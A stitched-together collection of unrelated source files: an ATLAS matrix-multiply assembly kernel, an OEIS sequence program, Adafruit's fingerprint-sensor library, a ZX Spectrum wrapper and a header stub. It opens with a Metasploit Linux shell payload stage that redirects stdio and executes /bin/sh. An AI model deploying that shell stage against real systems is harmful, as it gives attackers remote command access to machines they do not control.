end
|
;;
;
; Name: stage_udp_shell
; Type: Stage
; Qualities: None
; Platforms: Linux
; Authors: skape <mmiller [at] hick.org>
; Version: $Revision: 1400 $
; License:
;
; This file is part of the Metasploit Exploit Framework
; and is subject to the same licenses and copyrights as
; the rest of this package.
;
; Description:
;
; This payload redirects stdio to a file descriptor and executes
; /bin/sh.
;
;;
BITS 32
GLOBAL _start
%include "generic.asm"
_start:
execve_binsh EXECUTE_REDIRECT_IO
|
; Automatically Tuned Linear Algebra Software v3.10.0
; (C) Copyright 2001 Julian Ruhe
;
; Redistribution and use in source and binary forms, with or without
; modification, are permitted provided that the following conditions
; are met:
; 1. Redistributions of source code must retain the above copyright
; notice, this list of conditions and the following disclaimer.
; 2. Redistributions in binary form must reproduce the above copyright
; notice, this list of conditions, and the following disclaimer in the
; documentation and/or other materials provided with the distribution.
; 3. The name of the ATLAS group or the names of its contributers may
; not be used to endorse or promote products derived from this
; software without specific written permission.
;
; THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
; ``AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED
; TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
; PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE ATLAS GROUP OR ITS CONTRIBUTORS
; BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
; CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
; SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
; INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
; CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
; ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
; POSSIBILITY OF SUCH DAMAGE.
;
;
; ATL_dJIK30x30x30TN30x30x0_a1_b0.asm
;
; ATLAS "Speed of Light" DGEMM() kernel for AMD Athlon
; Code author: Julian Ruhe (ruheejih@linux.zrz.tu-berlin.de | Julian.Ruhe@t-online.de)
;
; void ATL_dJIK30x30x30TN30x30x0_a1_b0(const int M, const int N, const int K, const double alpha,
; const double *A, const int lda, const double *B, const int ldb,
; const double beta, double *C, const int ldc)
;
; Compile with "nasmw -f win32 -DWIN32 ATL_dJIK30x30x30TN30x30x0_a1_b0.asm" (Windows)
; Compile with "nasm -f elf -DELF ATL_dJIK30x30x30TN30x30x0_a1_b0.asm" (LINUX)
;
; See config file (ATL_dJIK30x30x30TN30x30x0_a1.cfg) for important macro definitions
;
%include "ATL_dJIK30x30x30TN30x30x0_a1.cfg"
%include "ATL_dJIK30x30x30TN30x30x0_a1.mcr"
%ifdef WIN32
global _ATL_dJIK30x30x30TN30x30x0_a1_b0
section .text
_ATL_dJIK30x30x30TN30x30x0_a1_b0:
%endif
%ifdef ELF
global ATL_dJIK30x30x30TN30x30x0_a1_b0
section .text
ATL_dJIK30x30x30TN30x30x0_a1_b0:
%endif
push ebp
mov ebp,esp
push ebx
push esi
push edi
femms
mov eax,0 ;temporary variable t1
push eax ;t1->stack
mov eax,[ebp+28] ;&A->eax
add eax,NB*NB*8 ;&(A+1)->eax
mov ebx,[ebp+36] ;&B->ebx
sub eax,ebx ;calculate offset
push eax ;&A+1+offset->stack
mov eax,[ebp+56] ;ldc->eax
lea eax,[8*eax]
push eax ;8*ldc->stack
mov eax,NB
push eax ;loop counter->stack
mov eax,[ebp+28] ;&A->eax
mov ebx,[ebp+36] ;&B->ebx
mov ecx,[ebp+52] ;&C->ecx
add ecx,byte 15*8 ;calculate offsets
add ebx,byte 15*8
add eax,5*NB*8
push eax ;&A+offset->stack
push ebp ;ebp->stack
mov edi,-1*NB*8 ;calculate offsets for dot products
mov esi,-3*NB*8
mov ebp,-5*NB*8
mov edx,6*NB*8-15*8 ;offset for the next 6 dot products
;stack dump
;[esp+20]: t1 (temp)
;[esp+16]: &(A+1)+offset
;[esp+12]: ldc*8
;[esp+08]: loop counter
;[esp+04]: &A+offset
;[esp+00]: ebp
align 16
loopj_
fld qword [ebx+ELM1] ;01+1
fld qword [eax+DOTP2]
fmul st0,st1
fld qword [eax+DOTP3]
fmul st0,st2
fld qword [eax+DOTP1]
rep
fmul st0,st3
fxch st0,st3
fld qword [eax+DOTP5]
rep
fmul st0,st1
rep
fld qword [eax+DOTP6]
mov edx,edx
fmul st0,st2
fld qword [ebx+ELM2]
fld qword [eax+DOTP4]
rep
fmulp st4,st0
add eax,byte 15*8
mov edx,edx
OPERATION 2,3 ;02+1
OPERATION 3,4 ;03+1
OPERATION 4,5 ;04+1
OPERATION 5,6 ;05+1
OPERATION 6,7 ;06+1
OPERATION 7,8 ;07+1
OPERATION 8,9 ;08+1
OPERATION 9,10 ;09+1
OPERATION 10,11 ;10+1
OPERATION 11,12 ;11+1
OPERATION 12,13 ;12+1
OPERATION 13,14 ;13+1
OPERATION 14,15 ;14+1
OPERATION 15,16 ;15+1
OPERATION 16,17 ;16+1
OPERATION 17,18 ;17+1
OPERATION 18,19 ;18+1
OPERATION 19,20 ;19+1
OPERATION 20,21 ;20+1
OPERATION 21,22 ;21+1
OPERATION 22,23 ;22+1
OPERATION 23,24 ;23+1
OPERATION 24,25 ;24+1
OPERATION 25,26 ;25+1
OPERATION 26,27 ;26+1
OPERATION 27,28 ;27+1
OPERATION 28,29 ;28+1
OPERATION 29,30 ;29+1
fld qword [eax+DOTP1+ELM30] ;30+1
fmul st0,st1
faddp st7
fld qword [eax+DOTP2+ELM30]
fmul st0,st1
faddp st6
fld qword [eax+DOTP3+ELM30]
fmul st0,st1
faddp st5
fld qword [eax+DOTP4+ELM30]
fmul st0,st1
faddp st4
fld qword [eax+DOTP5+ELM30]
fmul st0,st1
faddp st3
rep
fmul qword [eax+DOTP6+ELM30]
faddp st1
fxch st5
%ifdef PREC_DST4
mov [esp+20],ecx
add ecx,[esp+12]
prefetchw [ecx-2*64]
prefetchw [ecx-1*64]
prefetchw [ecx+0*64]
prefetchw [ecx+1*64]
nop
prefetchw [ecx+2*64-1]
mov ecx,[esp+20]
%endif
%ifdef PREB_DST4
prefetch [ebx+30*8-2*64]
fnop
mov edx,edx
prefetch [ebx+30*8-1*64]
nop
prefetch [ebx+30*8+0*64]
nop
prefetch [ebx+30*8+1*64]
nop
prefetch [ebx+30*8+2*64]
nop
%endif
fstp qword [ecx+ELM1]
fxch st3
fstp qword [ecx+ELM2]
fxch st1
fstp qword [ecx+ELM3]
fstp qword [ecx+ELM4]
fstp qword [ecx+ELM5]
fstp qword [ecx+ELM6]
add eax,edx
fld qword [ebx+ELM1] ;01+2
fld qword [eax+DOTP2]
fmul st0,st1
fld qword [eax+DOTP3]
fmul st0,st2
fld qword [eax+DOTP1]
rep
fmul st0,st3
fxch st0,st3
fld qword [eax+DOTP5]
rep
fmul st0,st1
rep
fld qword [eax+DOTP6]
mov edx,edx
fmul st0,st2
fld qword [ebx+ELM2]
fld qword [eax+DOTP4]
rep
fmulp st4,st0
add eax,byte 15*8
mov edx,edx
OPERATION 2,3 ;02+2
OPERATION 3,4 ;03+2
OPERATION 4,5 ;04+2
OPERATION 5,6 ;05+2
OPERATION 6,7 ;06+2
OPERATION 7,8 ;07+2
OPERATION 8,9 ;08+2
OPERATION 9,10 ;09+2
OPERATION 10,11 ;10+2
OPERATION 11,12 ;11+2
OPERATION 12,13 ;12+2
OPERATION 13,14 ;13+2
OPERATION 14,15 ;14+2
OPERATION 15,16 ;15+2
OPERATION 16,17 ;16+2
OPERATION 17,18 ;17+2
OPERATION 18,19 ;18+2
OPERATION 19,20 ;19+2
OPERATION 20,21 ;20+2
OPERATION 21,22 ;21+2
OPERATION 22,23 ;22+2
OPERATION 23,24 ;23+2
OPERATION 24,25 ;24+2
OPERATION 25,26 ;25+2
OPERATION 26,27 ;26+2
OPERATION 27,28 ;27+2
OPERATION 28,29 ;28+2
OPERATION 29,30 ;29+2
fld qword [eax+DOTP1+ELM30] ;30+2
fmul st0,st1
faddp st7
fld qword [eax+DOTP2+ELM30]
fmul st0,st1
faddp st6
fld qword [eax+DOTP3+ELM30]
fmul st0,st1
faddp st5
fld qword [eax+DOTP4+ELM30]
fmul st0,st1
faddp st4
fld qword [eax+DOTP5+ELM30]
fmul st0,st1
faddp st3
rep
fmul qword [eax+DOTP6+ELM30]
faddp st1
fxch st5
%ifdef PREC_DST3
mov [esp+20],ecx
add ecx,[esp+12]
prefetchw [ecx-2*64]
prefetchw [ecx-1*64]
prefetchw [ecx+0*64]
prefetchw [ecx+1*64]
nop
prefetchw [ecx+2*64-1]
mov ecx,[esp+20]
%endif
%ifdef PREB_DST3
prefetch [ebx+30*8-2*64]
fnop
mov edx,edx
prefetch [ebx+30*8-1*64]
nop
prefetch [ebx+30*8+0*64]
nop
prefetch [ebx+30*8+1*64]
nop
prefetch [ebx+30*8+2*64]
nop
%endif
fstp qword [ecx+ELM7]
fxch st3
fstp qword [ecx+ELM8]
fxch st1
fstp qword [ecx+ELM9]
fstp qword [ecx+ELM10]
fstp qword [ecx+ELM11]
fstp qword [ecx+ELM12]
add eax,edx
fld qword [ebx+ELM1] ;01+3
fld qword [eax+DOTP2]
fmul st0,st1
fld qword [eax+DOTP3]
fmul st0,st2
fld qword [eax+DOTP1]
rep
fmul st0,st3
fxch st0,st3
fld qword [eax+DOTP5]
rep
fmul st0,st1
rep
fld qword [eax+DOTP6]
mov edx,edx
fmul st0,st2
fld qword [ebx+ELM2]
fld qword [eax+DOTP4]
rep
fmulp st4,st0
add eax,byte 15*8
mov edx,edx
OPERATION 2,3 ;02+3
OPERATION 3,4 ;03+3
OPERATION 4,5 ;04+3
OPERATION 5,6 ;05+3
OPERATION 6,7 ;06+3
OPERATION 7,8 ;07+3
OPERATION 8,9 ;08+3
OPERATION 9,10 ;09+3
OPERATION 10,11 ;10+3
OPERATION 11,12 ;11+3
OPERATION 12,13 ;12+3
OPERATION 13,14 ;13+3
OPERATION 14,15 ;14+3
OPERATION 15,16 ;15+3
OPERATION 16,17 ;16+3
OPERATION 17,18 ;17+3
OPERATION 18,19 ;18+3
OPERATION 19,20 ;19+3
OPERATION 20,21 ;20+3
OPERATION 21,22 ;21+3
OPERATION 22,23 ;22+3
OPERATION 23,24 ;23+3
OPERATION 24,25 ;24+3
OPERATION 25,26 ;25+3
OPERATION 26,27 ;26+3
OPERATION 27,28 ;27+3
OPERATION 28,29 ;28+3
OPERATION 29,30 ;29+3
fld qword [eax+DOTP1+ELM30] ;30+3
fmul st0,st1
faddp st7
fld qword [eax+DOTP2+ELM30]
fmul st0,st1
faddp st6
fld qword [eax+DOTP3+ELM30]
fmul st0,st1
faddp st5
fld qword [eax+DOTP4+ELM30]
fmul st0,st1
faddp st4
fld qword [eax+DOTP5+ELM30]
fmul st0,st1
faddp st3
rep
fmul qword [eax+DOTP6+ELM30]
faddp st1
fxch st5
%ifdef PREC_DST2
mov [esp+20],ecx
add ecx,[esp+12]
prefetchw [ecx-2*64]
prefetchw [ecx-1*64]
prefetchw [ecx+0*64]
prefetchw [ecx+1*64]
nop
prefetchw [ecx+2*64-1]
mov ecx,[esp+20]
%endif
%ifdef PREB_DST2
prefetch [ebx+30*8-2*64]
fnop
mov edx,edx
prefetch [ebx+30*8-1*64]
nop
prefetch [ebx+30*8+0*64]
nop
prefetch [ebx+30*8+1*64]
nop
prefetch [ebx+30*8+2*64]
nop
%endif
fstp qword [ecx+ELM13]
fxch st3
fstp qword [ecx+ELM14]
rep
fxch st1
fstp qword [ecx+ELM15]
fstp qword [ecx+ELM16]
fstp qword [ecx+ELM17]
fstp qword [ecx+ELM18]
add eax,edx
fld qword [ebx+ELM1] ;01+4
fld qword [eax+DOTP2]
fmul st0,st1
fld qword [eax+DOTP3]
fmul st0,st2
fld qword [eax+DOTP1]
rep
fmul st0,st3
fxch st0,st3
fld qword [eax+DOTP5]
rep
fmul st0,st1
rep
fld qword [eax+DOTP6]
mov edx,edx
fmul st0,st2
fld qword [ebx+ELM2]
fld qword [eax+DOTP4]
rep
fmulp st4,st0
add eax,byte 15*8
mov edx,edx
OPERATION 2,3 ;02+4
OPERATION 3,4 ;03+4
OPERATION 4,5 ;04+4
OPERATION 5,6 ;05+4
OPERATION 6,7 ;06+4
OPERATION 7,8 ;07+4
OPERATION 8,9 ;08+4
OPERATION 9,10 ;09+4
OPERATION 10,11 ;10+4
OPERATION 11,12 ;11+4
OPERATION 12,13 ;12+4
OPERATION 13,14 ;13+4
OPERATION 14,15 ;14+4
OPERATION 15,16 ;15+4
OPERATION 16,17 ;16+4
OPERATION 17,18 ;17+4
OPERATION 18,19 ;18+4
OPERATION 19,20 ;19+4
OPERATION 20,21 ;20+4
OPERATION 21,22 ;21+4
OPERATION 22,23 ;22+4
OPERATION 23,24 ;23+4
OPERATION 24,25 ;24+4
OPERATION 25,26 ;25+4
OPERATION 26,27 ;26+4
OPERATION 27,28 ;27+4
OPERATION 28,29 ;28+4
OPERATION 29,30 ;29+4
fld qword [eax+DOTP1+ELM30] ;30+4
fmul st0,st1
faddp st7
fld qword [eax+DOTP2+ELM30]
fmul st0,st1
faddp st6
fld qword [eax+DOTP3+ELM30]
fmul st0,st1
faddp st5
fld qword [eax+DOTP4+ELM30]
fmul st0,st1
faddp st4
fld qword [eax+DOTP5+ELM30]
fmul st0,st1
faddp st3
rep
fmul qword [eax+DOTP6+ELM30]
faddp st1
fxch st5
%ifdef PREC_DST1
mov [esp+20],ecx
add ecx,[esp+12]
prefetchw [ecx-2*64]
prefetchw [ecx-1*64]
prefetchw [ecx+0*64]
prefetchw [ecx+1*64]
nop
prefetchw [ecx+2*64-1]
mov ecx,[esp+20]
%endif
%ifdef PREB_DST1
prefetch [ebx+30*8-2*64]
fnop
mov edx,edx
prefetch [ebx+30*8-1*64]
nop
prefetch [ebx+30*8+0*64]
nop
prefetch [ebx+30*8+1*64]
nop
prefetch [ebx+30*8+2*64]
nop
%endif
fstp qword [ecx+ELM19]
fxch st3
fstp qword [ecx+ELM20]
fxch st1
fstp qword [ecx+ELM21]
fstp qword [ecx+ELM22]
fstp qword [ecx+ELM23]
fstp qword [ecx+ELM24]
add eax,edx
fld qword [ebx+ELM1] ;01+5
fld qword [eax+DOTP2]
fmul st0,st1
fld qword [eax+DOTP3]
fmul st0,st2
fld qword [eax+DOTP1]
rep
fmul st0,st3
fxch st0,st3
fld qword [eax+DOTP5]
rep
fmul st0,st1
rep
fld qword [eax+DOTP6]
mov edx,edx
fmul st0,st2
fld qword [ebx+ELM2]
fld qword [eax+DOTP4]
rep
fmulp st4,st0
add eax,byte 15*8
mov edx,edx
OPERATION 2,3 ;02+5
OPERATION 3,4 ;03+5
OPERATION 4,5 ;04+5
OPERATION 5,6 ;05+5
OPERATION 6,7 ;06+5
OPERATION 7,8 ;07+5
OPERATION 8,9 ;08+5
OPERATION 9,10 ;09+5
OPERATION 10,11 ;10+5
OPERATION 11,12 ;11+5
OPERATION 12,13 ;12+5
OPERATION 13,14 ;13+5
OPERATION 14,15 ;14+5
OPERATION 15,16 ;15+5
OPERATION 16,17 ;16+5
OPERATION 17,18 ;17+5
OPERATION 18,19 ;18+5
OPERATION 19,20 ;19+5
OPERATION 20,21 ;20+5
OPERATION 21,22 ;21+5
OPERATION 22,23 ;22+5
OPERATION 23,24 ;23+5
OPERATION 24,25 ;24+5
OPERATION 25,26 ;25+5
OPERATION 26,27 ;26+5
OPERATION 27,28 ;27+5
OPERATION 28,29 ;28+5
OPERATION 29,30 ;29+5
fld qword [eax+DOTP1+ELM30] ;30+5
fmul st0,st1
faddp st7
fld qword [eax+DOTP2+ELM30]
fmul st0,st1
faddp st6
fld qword [eax+DOTP3+ELM30]
fmul st0,st1
faddp st5
fld qword [eax+DOTP4+ELM30]
fmul st0,st1
faddp st4
fld qword [eax+DOTP5+ELM30]
fmul st0,st1
faddp st3
rep
fmul qword [eax+DOTP6+ELM30]
faddp st1
fxch st5
%ifdef PREA_EN
mov [esp+20],edx ;save edx in t1
mov edx,[esp+16] ;&A+1->edx
lea edx,[edx+ebx]
prefetch [edx-2*64]
nop
prefetch [edx-1*64]
prefetch [edx+0*64]
nop
prefetch [edx+1*64]
prefetch [edx+2*64-8]
mov edx,[esp+20] ;restore edx
mov eax,eax
fnop
%endif
fstp qword [ecx+ELM25]
fxch st3
fstp qword [ecx+ELM26]
fxch st1
fstp qword [ecx+ELM27]
fstp qword [ecx+ELM28]
fstp qword [ecx+ELM29]
fstp qword [ecx+ELM30]
sub ebx,edi ;next column of B
mov eax,[esp+4] ;reset eax
add ecx,[esp+12] ;next column of C (+ldc*8)
dec dword [esp+8] ;dec counter
jnz near loopj_
end_
femms
pop ebp
add esp,byte 5*4 ;remove local variables
pop edi ;restore registers
pop esi
pop ebx
leave ;mov esp,ebp / pop ebp
ret
|
; A062781: Number of arithmetic progressions of four terms and any mean which can be extracted from the set of the first n positive integers.
; 0,0,0,1,2,3,5,7,9,12,15,18,22,26,30,35,40,45,51,57,63,70,77,84,92,100,108,117,126,135,145,155,165,176,187,198,210,222,234,247,260,273,287,301,315,330,345,360,376,392,408,425,442,459,477,495,513,532,551,570,590,610,630,651,672,693,715,737,759,782,805,828,852,876,900,925,950,975,1001,1027,1053,1080,1107,1134,1162,1190,1218,1247,1276,1305,1335,1365,1395,1426,1457,1488,1520,1552,1584,1617,1650,1683,1717,1751,1785,1820,1855,1890,1926,1962,1998,2035,2072,2109,2147,2185,2223,2262,2301,2340,2380,2420,2460,2501,2542,2583,2625,2667,2709,2752,2795,2838,2882,2926,2970,3015,3060,3105,3151,3197,3243,3290,3337,3384,3432,3480,3528,3577,3626,3675,3725,3775,3825,3876,3927,3978,4030,4082,4134,4187,4240,4293,4347,4401,4455,4510,4565,4620,4676,4732,4788,4845,4902,4959,5017,5075,5133,5192,5251,5310,5370,5430,5490,5551,5612,5673,5735,5797,5859,5922,5985,6048,6112,6176,6240,6305,6370,6435,6501,6567,6633,6700,6767,6834,6902,6970,7038,7107,7176,7245,7315,7385,7455,7526,7597,7668,7740,7812,7884,7957,8030,8103,8177,8251,8325,8400,8475,8550,8626,8702,8778,8855,8932,9009,9087,9165,9243,9322,9401,9480,9560,9640,9720,9801,9882,9963,10045,10127,10209,10292
bin $0,2
div $0,3
mov $1,$0
|
/***************************************************
This is a library for our optical Fingerprint sensor
Designed specifically to work with the Adafruit Fingerprint sensor
----> http://www.adafruit.com/products/751
These displays use TTL Serial to communicate, 2 pins are required to
interface
Adafruit invests time and resources providing this open source code,
please support Adafruit and open-source hardware by purchasing
products from Adafruit!
Written by Limor Fried/Ladyada for Adafruit Industries.
BSD license, all text above must be included in any redistribution
****************************************************/
#include "Adafruit_Fingerprint.h"
#if defined(__AVR__) || defined(ESP8266)
#include <SoftwareSerial.h>
#endif
//#define FINGERPRINT_DEBUG
#if ARDUINO >= 100
#define SERIAL_WRITE(...) mySerial->write(__VA_ARGS__)
#else
#define SERIAL_WRITE(...) mySerial->write(__VA_ARGS__, BYTE)
#endif
#define SERIAL_WRITE_U16(v) SERIAL_WRITE((uint8_t)(v>>8)); SERIAL_WRITE((uint8_t)(v & 0xFF));
#define GET_CMD_PACKET(...) \
uint8_t data[] = {__VA_ARGS__}; \
Adafruit_Fingerprint_Packet packet(FINGERPRINT_COMMANDPACKET, sizeof(data), data); \
writeStructuredPacket(packet); \
if (getStructuredPacket(&packet) != FINGERPRINT_OK) return FINGERPRINT_PACKETRECIEVEERR; \
if (packet.type != FINGERPRINT_ACKPACKET) return FINGERPRINT_PACKETRECIEVEERR;
#define SEND_CMD_PACKET(...) GET_CMD_PACKET(__VA_ARGS__); return packet.data[0];
/***************************************************************************
PUBLIC FUNCTIONS
***************************************************************************/
/**************************************************************************/
/*!
@brief Instantiates sensor with Software Serial
@param ss Pointer to SoftwareSerial object
@param password 32-bit integer password (default is 0)
*/
/**************************************************************************/
#if defined(__AVR__) || defined(ESP8266)
Adafruit_Fingerprint::Adafruit_Fingerprint(SoftwareSerial *ss, uint32_t password) {
thePassword = password;
theAddress = 0xFFFFFFFF;
hwSerial = NULL;
swSerial = ss;
mySerial = swSerial;
}
#endif
/**************************************************************************/
/*!
@brief Instantiates sensor with Hardware Serial
@param hs Pointer to HardwareSerial object
@param password 32-bit integer password (default is 0)
*/
/**************************************************************************/
Adafruit_Fingerprint::Adafruit_Fingerprint(HardwareSerial *ss, uint32_t password) {
thePassword = password;
theAddress = 0xFFFFFFFF;
#if defined(__AVR__) || defined(ESP8266)
swSerial = NULL;
#endif
hwSerial = ss;
mySerial = hwSerial;
}
/**************************************************************************/
/*!
@brief Initializes serial interface and baud rate
@param baudrate Sensor's UART baud rate (usually 57600, 9600 or 115200)
*/
/**************************************************************************/
void Adafruit_Fingerprint::begin(uint16_t baudrate) {
delay(1000); // one second delay to let the sensor 'boot up'
if (hwSerial) hwSerial->begin(baudrate);
#if defined(__AVR__) || defined(ESP8266)
if (swSerial) swSerial->begin(baudrate);
#endif
}
/**************************************************************************/
/*!
@brief Verifies the sensors' access password (default password is 0x0000000). A good way to also check if the sensors is active and responding
@returns True if password is correct
*/
/**************************************************************************/
boolean Adafruit_Fingerprint::verifyPassword(void) {
return checkPassword() == FINGERPRINT_OK;
}
uint8_t Adafruit_Fingerprint::checkPassword(void) {
GET_CMD_PACKET(FINGERPRINT_VERIFYPASSWORD,
(uint8_t)(thePassword >> 24), (uint8_t)(thePassword >> 16),
(uint8_t)(thePassword >> 8), (uint8_t)(thePassword & 0xFF));
if (packet.data[0] == FINGERPRINT_OK)
return FINGERPRINT_OK;
else
return FINGERPRINT_PACKETRECIEVEERR;
}
/**************************************************************************/
/*!
@brief Ask the sensor to take an image of the finger pressed on surface
@returns <code>FINGERPRINT_OK</code> on success
@returns <code>FINGERPRINT_NOFINGER</code> if no finger detected
@returns <code>FINGERPRINT_PACKETRECIEVEERR</code> on communication error
@returns <code>FINGERPRINT_IMAGEFAIL</code> on imaging error
*/
/**************************************************************************/
uint8_t Adafruit_Fingerprint::getImage(void) {
SEND_CMD_PACKET(FINGERPRINT_GETIMAGE);
}
/**************************************************************************/
/*!
@brief Ask the sensor to convert image to feature template
@param slot Location to place feature template (put one in 1 and another in 2 for verification to create model)
@returns <code>FINGERPRINT_OK</code> on success
@returns <code>FINGERPRINT_IMAGEMESS</code> if image is too messy
@returns <code>FINGERPRINT_PACKETRECIEVEERR</code> on communication error
@returns <code>FINGERPRINT_FEATUREFAIL</code> on failure to identify fingerprint features
@returns <code>FINGERPRINT_INVALIDIMAGE</code> on failure to identify fingerprint features
*/
uint8_t Adafruit_Fingerprint::image2Tz(uint8_t slot) {
SEND_CMD_PACKET(FINGERPRINT_IMAGE2TZ,slot);
}
/**************************************************************************/
/*!
@brief Ask the sensor to take two print feature template and create a model
@returns <code>FINGERPRINT_OK</code> on success
@returns <code>FINGERPRINT_PACKETRECIEVEERR</code> on communication error
@returns <code>FINGERPRINT_ENROLLMISMATCH</code> on mismatch of fingerprints
*/
uint8_t Adafruit_Fingerprint::createModel(void) {
SEND_CMD_PACKET(FINGERPRINT_REGMODEL);
}
/**************************************************************************/
/*!
@brief Ask the sensor to store the calculated model for later matching
@param location The model location #
@returns <code>FINGERPRINT_OK</code> on success
@returns <code>FINGERPRINT_BADLOCATION</code> if the location is invalid
@returns <code>FINGERPRINT_FLASHERR</code> if the model couldn't be written to flash memory
@returns <code>FINGERPRINT_PACKETRECIEVEERR</code> on communication error
*/
uint8_t Adafruit_Fingerprint::storeModel(uint16_t location) {
SEND_CMD_PACKET(FINGERPRINT_STORE, 0x01, (uint8_t)(location >> 8), (uint8_t)(location & 0xFF));
}
/**************************************************************************/
/*!
@brief Ask the sensor to load a fingerprint model from flash into buffer 1
@param location The model location #
@returns <code>FINGERPRINT_OK</code> on success
@returns <code>FINGERPRINT_BADLOCATION</code> if the location is invalid
@returns <code>FINGERPRINT_PACKETRECIEVEERR</code> on communication error
*/
uint8_t Adafruit_Fingerprint::loadModel(uint16_t location) {
SEND_CMD_PACKET(FINGERPRINT_LOAD, 0x01, (uint8_t)(location >> 8), (uint8_t)(location & 0xFF));
}
/**************************************************************************/
/*!
@brief Ask the sensor to transfer 256-byte fingerprint template from the buffer to the UART
@returns <code>FINGERPRINT_OK</code> on success
@returns <code>FINGERPRINT_PACKETRECIEVEERR</code> on communication error
*/
uint8_t Adafruit_Fingerprint::getModel(void) {
SEND_CMD_PACKET(FINGERPRINT_UPLOAD, 0x01);
}
/**************************************************************************/
/*!
@brief Ask the sensor to delete a model in memory
@param location The model location #
@returns <code>FINGERPRINT_OK</code> on success
@returns <code>FINGERPRINT_BADLOCATION</code> if the location is invalid
@returns <code>FINGERPRINT_FLASHERR</code> if the model couldn't be written to flash memory
@returns <code>FINGERPRINT_PACKETRECIEVEERR</code> on communication error
*/
uint8_t Adafruit_Fingerprint::deleteModel(uint16_t location) {
SEND_CMD_PACKET(FINGERPRINT_DELETE, (uint8_t)(location >> 8), (uint8_t)(location & 0xFF), 0x00, 0x01);
}
/**************************************************************************/
/*!
@brief Ask the sensor to delete ALL models in memory
@returns <code>FINGERPRINT_OK</code> on success
@returns <code>FINGERPRINT_BADLOCATION</code> if the location is invalid
@returns <code>FINGERPRINT_FLASHERR</code> if the model couldn't be written to flash memory
@returns <code>FINGERPRINT_PACKETRECIEVEERR</code> on communication error
*/
uint8_t Adafruit_Fingerprint::emptyDatabase(void) {
SEND_CMD_PACKET(FINGERPRINT_EMPTY);
}
/**************************************************************************/
/*!
@brief Ask the sensor to search the current slot 1 fingerprint features to match saved templates. The matching location is stored in <b>fingerID</b> and the matching confidence in <b>confidence</b>
@returns <code>FINGERPRINT_OK</code> on fingerprint match success
@returns <code>FINGERPRINT_NOTFOUND</code> no match made
@returns <code>FINGERPRINT_PACKETRECIEVEERR</code> on communication error
*/
uint8_t Adafruit_Fingerprint::fingerFastSearch(void) {
// high speed search of slot #1 starting at page 0x0000 and page #0x00A3
GET_CMD_PACKET(FINGERPRINT_HISPEEDSEARCH, 0x01, 0x00, 0x00, 0x00, 0xA3);
fingerID = 0xFFFF;
confidence = 0xFFFF;
fingerID = packet.data[1];
fingerID <<= 8;
fingerID |= packet.data[2];
confidence = packet.data[3];
confidence <<= 8;
confidence |= packet.data[4];
return packet.data[0];
}
/**************************************************************************/
/*!
@brief Ask the sensor for the number of templates stored in memory. The number is stored in <b>templateCount</b> on success.
@returns <code>FINGERPRINT_OK</code> on success
@returns <code>FINGERPRINT_PACKETRECIEVEERR</code> on communication error
*/
uint8_t Adafruit_Fingerprint::getTemplateCount(void) {
GET_CMD_PACKET(FINGERPRINT_TEMPLATECOUNT);
templateCount = packet.data[1];
templateCount <<= 8;
templateCount |= packet.data[2];
return packet.data[0];
}
/**************************************************************************/
/*!
@brief Set the password on the sensor (future communication will require password verification so don't forget it!!!)
@param password 32-bit password code
@returns <code>FINGERPRINT_OK</code> on success
@returns <code>FINGERPRINT_PACKETRECIEVEERR</code> on communication error
*/
uint8_t Adafruit_Fingerprint::setPassword(uint32_t password) {
SEND_CMD_PACKET(FINGERPRINT_SETPASSWORD, (password >> 24), (password >> 16), (password >> 8), password);
}
/**************************************************************************/
/*!
@brief Helper function to process a packet and send it over UART to the sensor
@params packet A structure containing the bytes to transmit
*/
void Adafruit_Fingerprint::writeStructuredPacket(const Adafruit_Fingerprint_Packet & packet) {
SERIAL_WRITE_U16(packet.start_code);
SERIAL_WRITE(packet.address[0]);
SERIAL_WRITE(packet.address[1]);
SERIAL_WRITE(packet.address[2]);
SERIAL_WRITE(packet.address[3]);
SERIAL_WRITE(packet.type);
uint16_t wire_length = packet.length + 2;
SERIAL_WRITE_U16(wire_length);
uint16_t sum = ((wire_length)>>8) + ((wire_length)&0xFF) + packet.type;
for (uint8_t i=0; i< packet.length; i++) {
SERIAL_WRITE(packet.data[i]);
sum += packet.data[i];
}
SERIAL_WRITE_U16(sum);
return;
}
/**************************************************************************/
/*!
@brief Helper function to receive data over UART from the sensor and process it into a packet
@params packet A structure containing the bytes received
@params timeount how many milliseconds we're willing to wait
*/
uint8_t Adafruit_Fingerprint::getStructuredPacket(Adafruit_Fingerprint_Packet * packet, uint16_t timeout) {
uint8_t byte;
uint16_t idx=0, timer=0;
while(true) {
while(!mySerial->available()) {
delay(1);
timer++;
if( timer >= timeout) {
#ifdef FINGERPRINT_DEBUG
Serial.println("Timed out");
#endif
return FINGERPRINT_TIMEOUT;
}
}
byte = mySerial->read();
#ifdef FINGERPRINT_DEBUG
Serial.print("<- 0x"); Serial.println(byte, HEX);
#endif
switch (idx) {
case 0:
if (byte != (FINGERPRINT_STARTCODE >> 8))
continue;
packet->start_code = (uint16_t)byte << 8;
break;
case 1:
packet->start_code |= byte;
if (packet->start_code != FINGERPRINT_STARTCODE)
return FINGERPRINT_BADPACKET;
break;
case 2:
case 3:
case 4:
case 5:
packet->address[idx-2] = byte;
break;
case 6:
packet->type = byte;
break;
case 7:
packet->length = (uint16_t)byte << 8;
break;
case 8:
packet->length |= byte;
break;
default:
packet->data[idx-9] = byte;
if((idx-8) == packet->length)
return FINGERPRINT_OK;
break;
}
idx++;
}
// Shouldn't get here so...
return FINGERPRINT_BADPACKET;
}
|
; void *zx_saddrpleft(void *saddr, uchar bitmask)
SECTION code_arch
PUBLIC _zx_saddrpleft
EXTERN asm_zx_saddrpleft
_zx_saddrpleft:
pop af
pop hl
pop de
push de
push hl
push af
jp asm_zx_saddrpleft
|
#pragma once
// This file is generated from the Game's Reflection data
#include <cstdint>
#include <RED4ext/Common.hpp>
